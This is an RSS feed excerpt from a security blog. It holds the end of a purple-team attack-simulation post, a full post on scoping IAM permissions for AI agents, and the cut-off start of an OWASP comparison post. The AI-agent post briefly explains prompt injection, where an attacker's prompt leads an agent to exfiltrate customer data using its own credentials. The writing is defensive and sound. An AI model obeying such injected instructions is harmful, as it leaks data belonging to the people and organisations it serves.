<li><strong>EP06</strong> — Secrets in CI/CD pipelines are structural, not behavioral. Pre-commit hooks and SAST scanning are the fix.</li>
<li><strong>EP07</strong> — IMDSv1 has no authentication. Any SSRF anywhere is a straight line to IAM credentials.</li>
<li><strong>EP08</strong> — <code class="" data-line="">--privileged</code> erases the boundary between container and host. Two commands from compromised pod to root on the node.</li>
<li><strong>EP09</strong> — Supply chain attacks target the trust chain, not the code. XZ Utils was two years of social engineering.</li>
<li><strong>EP10</strong> — Cloud lateral movement is IAM trust misconfiguration, not network pivoting. One overly broad <code class="" data-line="">sts:AssumeRole</code> trust policy is enough.</li>
<li><strong>EP11</strong> — eBPF sees what CloudTrail doesn&#8217;t — kernel-level process and network events in real time, before the attacker&#8217;s process exits.</li>
<li><strong>EP12</strong> — Incident response quality is inversely proportional to how much you practiced it. The organizations that contain in 4 hours practiced containing in 4 hours.</li>
<li><strong>EP13</strong> — Frequency of simulation is the variable that changes detection time.</li>
</ul>
<p>Every attack in this series exploited something that existed before the attacker arrived. The attacker didn&#8217;t create the IAM wildcard, the ungated CI/CD pipeline, the privileged pod, or the IMDSv1 endpoint. They found what was already there.</p>
<p>Purple team is how you find it first.</p>
<p>That&#8217;s the entire premise. Thirteen episodes to demonstrate it across ten attack paths. The practice is now yours to run.</p>
<hr />
<h2 id="whats-next-cross-series">What&#8217;s Next — Cross-Series</h2>
<p>The Purple Team Playbook ends here, but the technical depth that makes it work lives in three other series running in parallel on linuxcent.com:</p>
<p><strong>Kernel-level detection</strong> — the <a href="/what-is-ebpf-linux-kubernetes/">eBPF: From Kernel to Cloud</a> series covers everything from kernel hooks and BPF maps to Cilium and runtime security with Tetragon. EP11 in this series referenced eBPF detection; the eBPF series is where the implementation depth lives.</p>
<p><strong>Hardened base images</strong> — closing the OS-level attack surface that EP08 and EP09 in this series exploited starts at image build time. The <a href="/hardened-image-cicd-pipeline-gate/">hardened image pipeline gate</a> post covers building signed, minimal base images that eliminate entire attack surface categories before the container ever starts.</p>
<p><strong>The identity layer</strong> — every attack in this series ultimately had an IAM component: the overly permissive role, the wildcard policy, the cross-account trust boundary that was too broad. <a href="/what-is-cloud-iam/">What Is Cloud IAM</a> starts the 12-episode Cloud IAM series that maps the identity architecture underpinning all of it.</p>
<p>These series are designed to be read in parallel — techniques that appear as one-line references in this series get full treatment in the others. The eBPF series covers TC hooks and bpftrace in the depth that EP11 introduced. The IAM series covers <code class="" data-line="">sts:AssumeRole</code> trust policies in the depth that EP10 referenced.</p>
<p>Get notified when the next series starts → <a href="https://linuxcent.com/subscribe">linuxcent.com/subscribe</a></p>
<hr />
<h2 id="production-gotchas"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Production Gotchas</h2>
<p><strong>Test account isolation is not optional.</strong> Every simulation in this series should run in a dedicated AWS account (or GCP project / Azure subscription) with no trust relationships to production accounts. One <code class="" data-line="">stratus detonate</code> command that runs in a prod account and modifies IAM trust policies is an incident, not an exercise. The cost of a test account is zero compared to the cost of a real incident.</p>
<p><strong>Stratus leaves state.</strong> If you interrupt a <code class="" data-line="">stratus detonate</code> run, the warmup infrastructure is still running and costing you money. Always run <code class="" data-line="">stratus cleanup</code> even after an interrupted exercise. Add it to a <code class="" data-line="">trap</code> in your exercise runbook.</p>
<p><strong>Detection rules written during debriefs may use syntax your SIEM doesn&#8217;t support.</strong> Rule logic written in a 30-minute debrief window gets reviewed quickly. Run each new rule against 30 days of historical logs before relying on it. A rule that has never matched against known-bad historical data may have a quiet logic error.</p>
<p><strong>Alerting ≠ detection.</strong> A rule that fires but routes to a queue no one monitors is not a detection. The debrief template asks &#8220;alert fired in [tool]&#8221; — confirm the alert also appeared in a queue that an on-call engineer would have seen. Route validation is part of the exercise.</p>
<p><strong>Scope creep kills exercises.</strong> The first quarter an exercise runs long, someone proposes &#8220;let&#8217;s just add two more techniques since we have time.&#8221; Don&#8217;t. Four well-documented techniques with full debrief and verified re-runs beat ten half-documented techniques with action items that never close. Keep the scope tight. Add techniques by rotating them into the next quarter&#8217;s slot.</p>
<hr />
<h2 id="quick-reference">Quick Reference</h2>
<table>
<thead>
<tr>
<th>Component</th>
<th>What It Is</th>
<th>When to Use</th>
</tr>
</thead>
<tbody>
<tr>
<td>Atomic Red Team</td>
<td>ATT&amp;CK-mapped host technique library</td>
<td>Host-level techniques: process execution, credential access, persistence</td>
</tr>
<tr>
<td>Stratus Red Team</td>
<td>Cloud-native attack simulations</td>
<td>AWS/GCP/Azure/K8s API-based attack paths</td>
</tr>
<tr>
<td>Custom scripts</td>
<td>Org-specific simulations</td>
<td>MFA fatigue, IdP-specific attacks, internal tool abuse</td>
</tr>
<tr>
<td>MTTD</td>
<td>Mean time to detect — measured per technique</td>
<td>Primary metric; track over time per technique</td>
</tr>
<tr>
<td>Circuit breaker</td>
<td>Named person who can halt an exercise</td>
<td>Safety control; must be identified in Week 1</td>
</tr>
<tr>
<td>Debrief template</td>
<td>Structured post-exercise documentation</td>
<td>Filled during debrief, committed to version control same day</td>
</tr>
<tr>
<td>Retirement threshold</td>
<td>MTTD &lt; 10 minutes</td>
<td>When to rotate a technique out of quarterly rotation</td>
</tr>
<tr>
<td>Coverage list</td>
<td>Techniques with verified detections</td>
<td>Auditable record of what your program has validated</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li>Continuous purple team testing infrastructure means running the same attack paths quarterly — not annually — until MTTD per technique drops below 10 minutes</li>
<li>The four-week exercise structure (scope → simulate → debrief → re-run) is the unit of work; deviating from it is how exercises produce action items instead of detection improvements</li>
<li>Atomic Red Team covers ATT&amp;CK-mapped host techniques; Stratus Red Team covers cloud-native attack simulations; custom scripts cover what neither does</li>
<li>The debrief template — filled in during the session, committed to version control before the session ends — is what separates exercises that improve detection from exercises that produce unread reports</li>
<li>MTTD &lt; 10 minutes for a technique means retire it and rotate in the next one from the backlog this series gave you</li>
<li>The frequency of simulation is the variable that changes detection time. Not the tools. Not the headcount. How often you practice.</li>
</ul>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Fcontinuous-purple-team-testing-infrastructure%2F&amp;linkname=Continuous%20Purple%20Team%20Testing%3A%20Attack%20Simulations%20for%20Your%20Own%20Infrastructure" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Fcontinuous-purple-team-testing-infrastructure%2F&amp;linkname=Continuous%20Purple%20Team%20Testing%3A%20Attack%20Simulations%20for%20Your%20Own%20Infrastructure" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Fcontinuous-purple-team-testing-infrastructure%2F&amp;linkname=Continuous%20Purple%20Team%20Testing%3A%20Attack%20Simulations%20for%20Your%20Own%20Infrastructure" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Fcontinuous-purple-team-testing-infrastructure%2F&amp;linkname=Continuous%20Purple%20Team%20Testing%3A%20Attack%20Simulations%20for%20Your%20Own%20Infrastructure" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Fcontinuous-purple-team-testing-infrastructure%2F&amp;linkname=Continuous%20Purple%20Team%20Testing%3A%20Attack%20Simulations%20for%20Your%20Own%20Infrastructure" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Fcontinuous-purple-team-testing-infrastructure%2F&amp;linkname=Continuous%20Purple%20Team%20Testing%3A%20Attack%20Simulations%20for%20Your%20Own%20Infrastructure" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Fcontinuous-purple-team-testing-infrastructure%2F&amp;linkname=Continuous%20Purple%20Team%20Testing%3A%20Attack%20Simulations%20for%20Your%20Own%20Infrastructure" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Fcontinuous-purple-team-testing-infrastructure%2F&#038;title=Continuous%20Purple%20Team%20Testing%3A%20Attack%20Simulations%20for%20Your%20Own%20Infrastructure" data-a2a-url="https://linuxcent.com/continuous-purple-team-testing-infrastructure/" data-a2a-title="Continuous Purple Team Testing: Attack Simulations for Your Own Infrastructure"></a></p><p>The post <a href="https://linuxcent.com/continuous-purple-team-testing-infrastructure/">Continuous Purple Team Testing: Attack Simulations for Your Own Infrastructure</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/continuous-purple-team-testing-infrastructure/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1879</post-id>	</item>
		<item>
		<title>The Non-Human Identity Problem Is Back</title>
		<link>https://linuxcent.com/non-human-identity-ai-agents/</link>
					<comments>https://linuxcent.com/non-human-identity-ai-agents/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Thu, 09 Jul 2026 02:00:00 +0000</pubDate>
				<category><![CDATA[AI Security]]></category>
		<category><![CDATA[AI Agents]]></category>
		<category><![CDATA[Cloud Security]]></category>
		<category><![CDATA[DevSecOps]]></category>
		<category><![CDATA[IAM]]></category>
		<category><![CDATA[Identity Management]]></category>
		<category><![CDATA[LLM Security]]></category>
		<category><![CDATA[Non-Human Identity]]></category>
		<guid isPermaLink="false">https://linuxcent.com/?p=1905</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 6</span> <span class="rt-label rt-postfix">minutes</span></span>AI agents are non-human identities — and we are repeating every IAM anti-pattern from the cloud-native era, faster, with actors that are autonomous and manipulable.</p>
<p>The post <a href="https://linuxcent.com/non-human-identity-ai-agents/">The Non-Human Identity Problem Is Back</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 6</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<p><em>Identity in the Agentic Era, Episode 1</em><br />
<em>Medium | ~2,000 words | 8-minute read</em></p>
<hr />
<p>I was reviewing an AI-powered internal tool a team had shipped to production. It summarized documents, answered questions about internal policy, and could update records in a few internal systems based on what it found.</p>
<p>When I asked what credentials it ran under, the engineer pulled up the service account configuration.</p>
<p><code class="" data-line="">AdministratorAccess</code>.</p>
<p>&#8220;It needed to read from S3, query DynamoDB, call a few internal APIs,&#8221; he said. &#8220;We weren&#8217;t sure exactly what it needed, so we gave it everything and planned to tighten it later.&#8221;</p>
<p>I had heard that sentence before. Almost word for word. In 2017, auditing an AWS account where six Lambda functions each carried three full-access managed policies because someone needed them to work quickly and planned to tighten them later. In 2019, reviewing a GCP project where a service account had <code class="" data-line="">roles/editor</code> at the folder level for the same reason.</p>
<p>We are re-running the same IAM mistakes from the last decade, at speed, with a new class of actors that are harder to audit, harder to predict, and capable of taking autonomous action at a scale no human operator could match.</p>
<p>The non-human identity problem is back. And it brought reinforcements.</p>
<hr />
<h2 id="the-last-time-we-had-this-problem">The Last Time We Had This Problem</h2>
<p>In the early cloud era, the explosion of non-human identities was Lambda functions, EC2 instance profiles, container service accounts, CI/CD pipeline roles. Engineers needed these workloads to access cloud resources. The fastest path was broad permissions. And because nobody was accountable for &#8220;the Lambda&#8217;s IAM role&#8221; specifically, nobody came back to tighten it.</p>
<p>The IAM practices that emerged over the following years — least privilege policies, generated from actual usage rather than estimated requirements; workload identity federation instead of static credentials; OIDC short-lived tokens instead of long-lived access keys — were direct responses to the mess that accumulates when you grant first and audit never.</p>
<p>That took about a decade to normalize. Many environments still aren&#8217;t there.</p>
<p>Now we have AI agents. And we are starting the cycle again from scratch.</p>
<hr />
<h2 id="what-makes-ai-agents-different-as-identities">What Makes AI Agents Different as Identities</h2>
<p>The workload identity problem from 2015 was hard because of scale — hundreds of Lambda functions, thousands of EC2 instances, each needing its own carefully scoped permissions.</p>
<p>AI agents introduce three properties that make the identity problem qualitatively harder.</p>
<p><strong>Autonomy.</strong> A Lambda function does exactly what its code says. An AI agent decides what to do based on a prompt, context, and model behavior. The set of actions it might take is not fully enumerable at deployment time. This means you cannot reason about &#8220;what does this agent need access to&#8221; the same way you reason about a deterministic workload.</p>
<p><strong>Manipulability.</strong> A Lambda function cannot be convinced to do something outside its code by a malicious user prompt. An AI agent can. If the agent has access to customer data and an attacker can inject a prompt that instructs it to exfiltrate that data, the agent&#8217;s valid credentials become the attack vector. This is prompt injection — and it turns IAM from a defense into a liability if permissions are too broad.</p>
<p><strong>Opacity.</strong> When a Lambda function with <code class="" data-line="">s3:GetObject</code> reads a file, you know exactly why: the code called that API. When an AI agent reads a file, the reason is a chain of model decisions that may not be logged, may not be auditable, and may not be consistent across runs. The audit trail that IAM depends on — who accessed what and why — becomes significantly harder to maintain.</p>
<hr />
<h2 id="the-same-mistakes-same-causes">The Same Mistakes, Same Causes</h2>
<p>Walk through an AI agent deployment today and the anti-patterns are familiar:</p>
<p><strong>Over-provisioned service accounts.</strong> The agent needs to read documents, call an API, maybe update a record. Rather than enumerate exactly which documents, which API endpoints, which records — all of which requires upfront work — the team grants broad access and ships. The access never gets tightened because the agent works and nobody is specifically accountable for its permissions.</p>
<p><strong>Static long-lived credentials.</strong> The agent&#8217;s API keys are in environment variables. They were created six months ago. They&#8217;ve never been rotated. If the agent is compromised or its runtime environment is accessed, those credentials are available — and they&#8217;re broad.</p>
<p><strong>No audit trail.</strong> The agent runs under a shared service account used by other services too. When CloudTrail shows an unexpected S3 read from that account, there is no way to know whether it came from the agent, the other service, or something else entirely.</p>
<p><strong>&#8220;We&#8217;ll tighten it later.&#8221;</strong> The phrase that has followed every IAM explosion since 2012. Later rarely comes while the system is working.</p>
<p>These are not AI-specific failures. They are IAM failures that AI deployments are inheriting because the teams building agents are not always the same teams who spent the last decade cleaning up cloud IAM.</p>
<hr />
<h2 id="what-least-privilege-looks-like-for-an-ai-agent">What Least Privilege Looks Like for an AI Agent</h2>
<p>Applying least privilege to an AI agent requires working backwards from what the agent is actually allowed to do, not what it might conceivably need.</p>
<p><strong>Enumerate the agent&#8217;s actions, not its access.</strong> A document summarization agent needs to read specific document stores, nothing else. An agent that updates records needs write access to specific tables with specific conditions — not the whole database. Define the scope from the action, not from the model&#8217;s capability.</p>
<p><strong>Scope by data sensitivity.</strong> Not all data the agent could access is data the agent should access. An agent answering internal HR policy questions does not need read access to financial records. Separate the data stores. Separate the service accounts. The blast radius of a prompt injection attack is bounded by the permissions of the compromised service account.</p>
<p><strong>Use short-lived credentials.</strong> If your AI agent runtime supports OIDC or workload identity federation — and most production platforms now do — use it. The agent gets a short-lived token scoped to its task. No long-lived key to rotate, no orphaned credential to discover later.</p>
<p><strong>One service account per agent, per environment.</strong> Not a shared service account. Not the same account in staging and production. Each agent identity should be independently auditable, independently revocable.</p>
<pre><code class="" data-line=""># What you want to see in CloudTrail
eventSource: s3.amazonaws.com
eventName: GetObject
userIdentity:
  type: AssumedRole
  arn: arn:aws:sts::123456789:assumed-role/agent-doc-summarizer-prod/session

# What you don&#039;t want to see
userIdentity:
  arn: arn:aws:iam::123456789:user/ai-service-shared
</code></pre>
<p>The first entry tells you which agent, which role, which session. The second tells you nothing useful.</p>
<hr />
<h2 id="the-audit-gap">The Audit Gap</h2>
<p>Here is the problem that doesn&#8217;t have a clean solution yet: even with a properly scoped service account, you know <em>that</em> the agent accessed a resource. You do not know <em>why</em> — what prompt triggered it, what reasoning led to it, what the agent was trying to accomplish.</p>
<p>This is the provenance gap in AI systems. Traditional IAM audit logs capture the action and the identity. For AI agents, you need a third dimension: the reasoning chain that produced the action.</p>
<p>Without that, your audit trail for compliance purposes is incomplete. You can prove that <code class="" data-line="">agent-doc-summarizer-prod</code> read a file. You cannot prove whether it did so because a user asked a legitimate question or because an attacker injected a prompt that caused it to retrieve and expose that file.</p>
<p>Solving this requires logging not just the API call, but the context that produced it — the prompt, the model&#8217;s decision path, the tool call sequence. That logging infrastructure doesn&#8217;t exist out of the box in most AI frameworks today. Building it is one of the open problems in AI security, and it is an IAM problem at its core.</p>
<hr />
<h2 id="framework-alignment">Framework Alignment</h2>
<table>
<thead>
<tr>
<th>Framework</th>
<th>Reference</th>
<th>What It Covers Here</th>
</tr>
</thead>
<tbody>
<tr>
<td>CISSP</td>
<td>Domain 5 — Identity and Access Management</td>
<td>Non-human identity lifecycle for AI agents</td>
</tr>
<tr>
<td>CISSP</td>
<td>Domain 3 — Security Architecture</td>
<td>Scoping agent permissions from action definitions</td>
</tr>
<tr>
<td>ISO 27001:2022</td>
<td>5.15 Access control</td>
<td>Least privilege applied to AI workload identities</td>
</tr>
<tr>
<td>ISO 27001:2022</td>
<td>5.18 Access rights</td>
<td>One service account per agent; revocability requirements</td>
</tr>
<tr>
<td>ISO 42001:2023</td>
<td>6.1 AI risk assessment</td>
<td>Identity and access risks specific to AI systems</td>
</tr>
<tr>
<td>NIST AI RMF</td>
<td>GOVERN 1.2</td>
<td>Accountability structures for AI agent actions</td>
</tr>
<tr>
<td>SOC 2</td>
<td>CC6.1 Logical access controls</td>
<td>Service account scoping for AI workloads</td>
</tr>
<tr>
<td>SOC 2</td>
<td>CC7.2 Anomaly detection</td>
<td>Auditing unexpected access patterns from AI identities</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li>AI agents are non-human identities. They inherit every IAM anti-pattern we spent a decade fixing for Lambda functions and EC2 instances — and introduce new ones unique to autonomous, manipulable systems</li>
<li>Least privilege for AI agents works backwards from the agent&#8217;s defined actions, not from what it might conceivably need</li>
<li>Prompt injection turns over-permissioned credentials into an attack vector — the agent&#8217;s valid access becomes the attacker&#8217;s access</li>
<li>One service account per agent, per environment. Short-lived credentials where possible. No shared accounts that obscure audit trails</li>
<li>The provenance gap — knowing why an AI agent took an action, not just that it did — is an open problem that traditional IAM logging doesn&#8217;t solve</li>
</ul>
<h2 id="whats-next">What&#8217;s Next</h2>
<p>In EP02, I&#8217;ll cover the specific IAM boundary that most AI pipelines are missing entirely: the data access layer for RAG systems. When your LLM retrieves context from a vector database, what controls what it can retrieve? The answer — for most teams right now — is nothing. And that&#8217;s a problem that has a concrete fix.</p>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Fnon-human-identity-ai-agents%2F&amp;linkname=The%20Non-Human%20Identity%20Problem%20Is%20Back" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Fnon-human-identity-ai-agents%2F&amp;linkname=The%20Non-Human%20Identity%20Problem%20Is%20Back" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Fnon-human-identity-ai-agents%2F&amp;linkname=The%20Non-Human%20Identity%20Problem%20Is%20Back" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Fnon-human-identity-ai-agents%2F&amp;linkname=The%20Non-Human%20Identity%20Problem%20Is%20Back" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Fnon-human-identity-ai-agents%2F&amp;linkname=The%20Non-Human%20Identity%20Problem%20Is%20Back" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Fnon-human-identity-ai-agents%2F&amp;linkname=The%20Non-Human%20Identity%20Problem%20Is%20Back" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Fnon-human-identity-ai-agents%2F&amp;linkname=The%20Non-Human%20Identity%20Problem%20Is%20Back" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Fnon-human-identity-ai-agents%2F&#038;title=The%20Non-Human%20Identity%20Problem%20Is%20Back" data-a2a-url="https://linuxcent.com/non-human-identity-ai-agents/" data-a2a-title="The Non-Human Identity Problem Is Back"></a></p><p>The post <a href="https://linuxcent.com/non-human-identity-ai-agents/">The Non-Human Identity Problem Is Back</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/non-human-identity-ai-agents/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1905</post-id>	</item>
		<item>
		<title>The Four OWASP Lists: Web App, API, Cloud-Native, and LLM Compared</title>
		<link>https://linuxcent.com/owasp-llm-top-10-vs-owasp-top-10/</link>
					<comments>https://linuxcent.com/owasp-llm-top-10-vs-owasp-top-10/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Thu, 09 Jul 2026 02:00:00 +0000</pubDate>
				<category><![CDATA[AI Security]]></category>
		<category><![CDATA[API Security]]></category>
		<category><![CDATA[Cloud Security]]></category>
		<category><![CDATA[DevSecOps]]></category>
		<category><![CDATA[Kubernetes]]></category>
		<category><![CDATA[LLM Security]]></category>
		<category><![CDATA[OWASP]]></category>
		<guid isPermaLink="false">https://linuxcent.com/?p=2213</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 8</span> <span class="rt-label rt-postfix">minutes</span></span>OWASP has four distinct Top 10 lists in 2025. Here is how Web App, API Security, Cloud-Native, and LLM compare — and which applies to your architecture.</p>
<p>The post <a href="https://linuxcent.com/owasp-llm-top-10-vs-owasp-top-10/">The Four OWASP Lists: Web App, API, Cloud-Native, and LLM Compared</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 8</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
